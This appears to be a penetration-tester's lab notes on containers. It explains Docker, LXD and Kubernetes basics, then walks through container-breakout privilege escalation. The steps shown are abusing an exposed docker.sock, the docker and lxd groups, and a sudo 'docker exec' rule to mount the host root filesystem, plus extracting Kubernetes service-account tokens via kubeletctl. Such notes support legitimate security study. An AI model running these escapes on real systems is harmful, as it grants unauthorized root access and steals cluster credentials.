The Docker Daemon, also known as the Docker server, is a critical part of the Docker platform that plays a pivotal role in container management and orchestration.
It has several essential responsibilities like:
running Docker containers
interacting with Docker containers
managing Docker containers on the host system.
Docker Clients
When we interact with Docker, we issue commands through the Docker Client, which communicates with the Docker Daemon (through a RESTful API or a Unix socket) and serves as our primary means of interacting with Docker.
Docker Compose
It is a tool that simplifies the orchestration of multiple Docker containers as a single application. It allows us to define our application's multi-container architecture using a YAML (.yaml/.yml) file. With it, we can specify the services comprising our application, their dependencies, and their configurations. We define container images, environment variables, networking, volume bindings, and other settings.
Docker Sockets
A Docker socket or Docker daemon socket is a special file that allows us and processes to communicate with the Docker daemon. This communication occurs either through a Unix socket or a network socket. By exposing the Docker socket over a network interface, we can remotely manage Docker hosts, issue commands, and control containers and other resources.
When we issue a command through the Docker CLI, the Docker client sends the command to the Docker socket, and the Docker daemon, in turn, processes the command and carries out the requested actions.
You can export DOCKER_HOST="tcp://localhost:2375" and avoid using the -H parameter with the docker command
Basic commands:
Intrusionz3r0X@htb[/htb]$ docker version #Get version of docker client, API, engine, containerd, runc, docker-init
Intrusionz3r0X@htb[/htb]$ docker info #Get more infomarion about docker settings
Intrusionz3r0X@htb[/htb]$ docker pull registry:5000/alpine #Download the image
Intrusionz3r0X@htb[/htb]$ docker inspect <containerid> #Get info of the contaienr
Intrusionz3r0X@htb[/htb]$ docker network ls #List network info
Intrusionz3r0X@htb[/htb]$ docker exec -it <containerid> /bin/sh #Get shell inside a container
Intrusionz3r0X@htb[/htb]$ docker commit <cotainerid> registry:5000/name-container #Update container
Intrusionz3r0X@htb[/htb]$ docker export -o alpine.tar <containerid> #Export container as tar file
Intrusionz3r0X@htb[/htb]$ docker save -o ubuntu.tar <image> #Export an image
Intrusionz3r0X@htb[/htb]$ docker ps -a #List running and stopped containers
Intrusionz3r0X@htb[/htb]$ docker stop <containedID> #Stop running container
Intrusionz3r0X@htb[/htb]$ docker rm <containerID> #Remove container ID
Intrusionz3r0X@htb[/htb]$ docker image ls #List images
Intrusionz3r0X@htb[/htb]$ docker rmi <imgeID> #Remove image
Intrusionz3r0X@htb[/htb]$ docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
Privilege escalation techniques
Docker socket is exposed
By default, it's writable by the root user and members of the docker group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available.
#Download docker binary into the container
Intrusionz3r0X@htb[/htb]$ wget https://<parrot-os>:443/docker -O docker
Intrusionz3r0X@htb[/htb]$ chmod +x docker
#Locate the docker.sock
Intrusionz3r0X@htb[/htb]$ find / -name "docker.sock" 2>/dev/null
/run/docker.sock
#List available images
Intrusionz3r0X@htb[/htb]$ /path/docker -H unix:///run/docker.sock images
#Create our own Docker container that maps the host’s root directory (/) to the /hostsystem directory on the container.
Intrusionz3r0X@container[/htb]$ /path/docker -H unix:///run/docker.sock run --rm -d --privileged -v /:/hostsystem <image> tail -f /dev/null
#Spawn shell
Intrusionz3r0X@container[/htb]$ /path/docker -H unix:///run/docker.sock exec -it 7ae3bcc818af /bin/bash
You can export DOCKER_HOST="tcp://localhost:2375" and avoid using the -H parameter with the docker command
Docker Group privilege escalation
To gain root privileges through Docker, the user we are logged in with must be in the docker group. This allows him to use and control the Docker daemon. Usually, this socket is located in /var/run/docker.sock.
#List exist images
docker-user@nix02:~$ docker image ls
#create a container with direct, privileged access to the host's filesystem, allowing you to run commands as if you're on the host itself.
docker-user@nix02:~$ docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash
Docker breakout
docker exec privilege escalation
If a user possesses the permission to execute docker exec * as root (without a password, ), you can leverage it to escalate privileges and gain full control over the host system.
boris@ip-10-10-10-11:~$ sudo -l
Matching Defaults entries for boris on ip-10-10-10-11:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on ip-10-10-10-11:
(root) NOPASSWD: /snap/bin/docker exec *
boris@ip-10-10-10-11:~$ ps -auxww | grep namespace
#root 1598 0.0 0.7 711452 7956 ? Sl 03:35 0:00 /snap/docker/1125/bin/containerd-shim-runc-v2 -namespace moby -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 -address /run/snap.docker/containerd/containerd.sock
<snif>
boris@ip-10-10-10-11:~$ echo e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 | head -c 12 | xargs
e6ff5b1cbc85
boris@ip-10-10-10-11:~$ sudo /snap/bin/docker exec -it --user root --privileged e6ff5b1cbc85 /bin/bash
bash-5.1# fdisk -l
Disk /dev/xvda: 8192 MB, 8589934592 bytes, 16777216 sectors
6367 cylinders, 85 heads, 31 sectors/track
Units: sectors of 1 * 512 = 512 bytes
Device Boot StartCHS EndCHS StartLBA EndLBA Sectors Size Id Type
/dev/xvda1 * 0,32,33 20,84,31 2048 16777182 16775135 8190M 83 Linux
bash-5.1# mkdir /tmp/data
bash-5.1# mount /dev/xvda1 /tmp/data/
bash-5.1# cd /tmp/data/root/
.bash_history .local/ .profile .ssh/ root.txt snap/
bash-5.1# cat /tmp/data/root/root.txt
VL{*******************************}
bash-5.1#
Docker breakout automatic tool
LXD/LXC
Linux Containers (LXC) is an operating system-level virtualization technique that allows multiple Linux systems to run in isolation from each other on a single host by owning their own processes but sharing the host system kernel for them.
To gain root privileges through LXD/LXC, the user we are logged in with must be in the lxd group.
#Import an image by using a ubuntu-template
container-user@nix02:~$ lxc image import <image> --alias ubuntutemp
#List exist images
container-user@nix02:~$ lxc image list
#initiate the image by specifying the security.privileged to disable all isolation features that allow us to act on the host.
container-user@nix02:~$ lxc init ubuntutemp privesc -c security.privileged=true
container-user@nix02:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
#start the container and log into it
container-user@nix02:~$ lxc start privesc
container-user@nix02:~$ lxc exec privesc /bin/bash
Kubernetes
Understanding the security aspects of K8 containers is crucial. We will probably be able to access one of the many containers during our penetration test.
Awesome resource to get a complete understanding about kubernets:
Differences between K8 and Docker
Function
Docker
Kubernetes
Primary
Platform for containerizing Apps
An orchestration tool for managing containers
Scaling
Manual scaling with Docker swarm
Automatic scaling
Networking
Single network
Complex network with policies
Storage
Volumes
Wide range of storage options
Kubernetes architecture is primarily divided into two types of components:
The Control Plane (master node), which is responsible for controlling the Kubernetes cluster
The Worker Nodes (minions), where the containerized applications are run
Master node: The master node hosts the Kubernetes Control Plane, which manages and coordinates all activities within the cluster and it also ensures that the cluster's desired state is maintained.
Minions: execute the actual applications and they receive instructions from the Control Plane and ensure the desired state is achieved.
The Scheduler, based on the API server, understands the state of the cluster and schedules new pods on the nodes accordingly. After deciding which node a pod should run on, the API server updates the etcd.
Control Plane
The Control Plane serves as the management layer. It consists of several crucial components, including:
Service
TCP Ports
etcd
2379, 2380
API server
6443
Scheduler
10251
Controller Manager
10252
Kubelet API
10250
Read-Only Kubelet API
10255
Kubernetes API
Request
Description
GET
Retrieves information about a resource or a list of resources.
POST
Creates a new resource.
PUT
Updates an existing resource.
PATCH
Applies partial updates to a resource.
DELETE
Removes a resource.
Authentication
Kubernetes supports various methods such as
client certificates,
bearer tokens
authenticating proxy
HTTP basic auth
Once the user has been authenticated, Kubernetes enforces authorization decisions using Role-Based Access Control (RBAC).
The Kubelet can be configured to permit anonymous access. By default, the Kubelet allows anonymous access. Anonymous requests are considered unauthenticated, which implies that any request made to the Kubelet without a valid client certificate will be treated as anonymous.
Understanding the container images and their versions used in the cluster can enable us to identify known vulnerabilities and exploit them to gain unauthorized access to the system.
Namespace information can provide insights into how the pods and resources are arranged within the cluster, which we can use to target specific namespaces with known vulnerabilities.
Metadata such as uid and resourceVersion to perform reconnaissance and recognize potential targets for further attacks.
Disclosing the last applied configuration can potentially expose sensitive information, such as passwords, secrets, or API tokens, used during the deployment of the pods.
To gain higher privileges and access the host system we have to obtain the Kubernetes service account's token and certificate (ca.crt) from the server.
#Extract tokens
Intrusionz3r0X@htb[/htb]$ kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token
#Extract certificates
Intrusionz3r0X@htb[/htb]$ kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt
We can check the access rights in the Kubernetes cluster.
We can get, create, and list pods and from here on, we can create a YAML file that we can use to create a new container and mount the entire root filesystem from the host system into this container's /root directory. From there on, we could access the host systems files and directories.
